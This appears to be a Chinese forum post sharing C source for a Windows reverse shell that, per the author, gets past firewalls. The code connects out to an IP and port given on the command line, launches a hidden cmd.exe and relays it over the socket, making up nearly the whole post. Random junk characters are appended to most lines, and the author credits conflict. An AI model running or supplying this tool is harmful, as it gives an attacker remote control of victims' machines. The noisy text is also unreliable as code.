Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 !\%0O`b^4  
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/* ============================== 7>Oa, \  
Rebound port in Windows NT |:?JSi0  
By wind,2006/7 G~\ SI.  
===============================*/ '/"xMpN4  
#include $2j?Z.yEG  
#include yIdM2#`u  
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#pragma comment(lib,"wsock32.lib") 0G.y_<=  
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void OutputShell(); )=)=]|3  
SOCKET sClient; #n_uELE  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 
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void main(int argc,char **argv) ^Q\O8f[u  
{ "?~u*5  
WSADATA stWsaData; ages-Z_X  
int nRet; ped3}i+|]  
SOCKADDR_IN stSaiClient,stSaiServer; K&WNtk3hT  
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if(argc != 3) %hu] =  
{ *?#t (Y[  
printf("Useage:\n\rRebound DestIP DestPort\n"); ,^_aqH  
return; 2-3|0<`  
} 6jIW)C  
= yH#Iil  
WSAStartup(MAKEWORD(2,2),&stWsaData); *
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){.J`X5r  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lTh}0t  
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stSaiClient.sin_family = AF_INET; N8>;BHBV!  
stSaiClient.sin_port = htons(0); ktr l|  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Hlw0ia  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) cQaEh1n  
{ v&>TU(x\H  
printf("Bind Socket Failed!\n"); Z-!W#   
return; UJ'}p&E  
} H...!c1M@  
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stSaiServer.sin_family = AF_INET; ^'|\8  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :W/,V^x}  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Wkk=x&  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) `2Buf8|a,  
{ 90pk  
printf("Connect Error!"); hupYiI~  
return; &&w7-  
} ]byj[Gd  
OutputShell(); q >9F21W  
} [p+h b
 
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void OutputShell() A|BvRZd  
{ K%: :  
char szBuff[1024]; LW;UL}av  
SECURITY_ATTRIBUTES stSecurityAttributes; E6-alBi%  
OSVERSIONINFO stOsversionInfo; wNuS'P_(:T  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; p1=sDsLL  
STARTUPINFO stStartupInfo; mySm:ToT  
char *szShell; 1f 0"z1
 
PROCESS_INFORMATION stProcessInformation; ms8PFu(f  
unsigned long lBytesRead; r"a4;&mf  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7^bO`  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5@+8*Fdk  
stSecurityAttributes.lpSecurityDescriptor = 0; UN&b]vg  
stSecurityAttributes.bInheritHandle = TRUE; f.gkGwNk  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); t-\S/N  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); K/ q:aMq  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Zcg=a_  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *R*Tmo"  
stStartupInfo.wShowWindow = SW_HIDE; Ah_'.r1<P9  
stStartupInfo.hStdInput = hReadPipe; Cm;WQuv@  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8KpG0DC  
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GetVersionEx(&stOsversionInfo); ~>@Dn40  
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switch(stOsversionInfo.dwPlatformId) V*U7-{ *a  
{ Kfc(GL?
 
case 1: @|&P#wd.u  
szShell = "command.com"; (U/xpj}  
break; C!SB5G>OH  
default: .cA
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szShell = "cmd.exe"; 47"ERfP  
break; +:2(xgOP.V  
} 2-| oN/FD  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); AM}-dKei|  
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send(sClient,szMsg,77,0); 3\FiQ/?  
while(1) XcA4EBRj  
{ @:i>q$aF  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); l}X3uyS  
if(lBytesRead) t-SG
G{  
{ Rww"Z=F  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); r+HJ_R,5A  
send(sClient,szBuff,lBytesRead,0); &X^~%\F:2  
} >Lanuv)O  
else `xkJ.,#Io  
{ 3Gt'<E|"  
lBytesRead=recv(sClient,szBuff,1024,0); r]'AdJFt  
if(lBytesRead<=0) break; \z8TYx@  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); xH\'gli/  
} \O?#gW\tR  
} K}O~tff  
^!|BKH8>f%  
return; tkWWR%c"  
}